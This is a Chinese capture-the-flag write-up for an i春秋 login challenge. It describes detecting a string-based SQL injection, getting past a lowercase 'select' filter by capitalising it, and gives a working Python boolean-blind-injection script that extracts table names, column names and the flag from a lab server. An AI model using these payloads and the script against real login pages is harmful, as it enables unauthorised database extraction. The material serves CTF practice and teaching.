文章目录
题目链接:
https://www.ichunqiu.com/battalion?t=1&r=68487
解题思路
1、首先点击login.php,输入进行尝试
输入admin显示账户或者密码错误
而输入其他显示账号不存在
这里可以初步猜测用户名就是admin
2、开始尝试是否存在注入
输入admin’,显示账户不存在,而输入admin’#显示账户或密码错误
这表明存在注入漏洞,并且为字符型漏洞。
3、这里可以判断列字段的个数,但是没有回显此步可以省略
可以判断为3列
4、由于没有回显,故只能尝试盲注
在盲注之前,根据一些系列测试可以发现此题过滤了select
但是可以大写绕过。
5、抓包分析
post提交方式,参数如下为:name和pass
正确回显:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
错误回显:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}
根据不同的回显编写脚本,这里采用布尔盲注,经测试,时间盲注也是可以,但是执行时间较长。
6、编写脚本
import requests
def Get(url):
result = ''
for i in range(1,100):
left = 32
right = 128
mid = (left+right)//2
while left<right:
#查询表名
# name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
# "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)
#查询列名
# name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)
#根据表名和列名查询字段值
name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)
data = {"name":name,"pass":"1223234"}
res = requests.post(url,data)
if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
left = mid+1
else:
right = mid
mid = (left+right)//2
#查询结果结束
if mid==32:
break
result += chr(mid)
print(result)
print(result)
Get('http://eci-2ze7rwkw5ezyr8olv58h.cloudeci1.ichunqiu.com/login.php')
查询表名结果:
查询列名结果:
查询相关的值
得到flag: n1book{login_sqli_is_nice}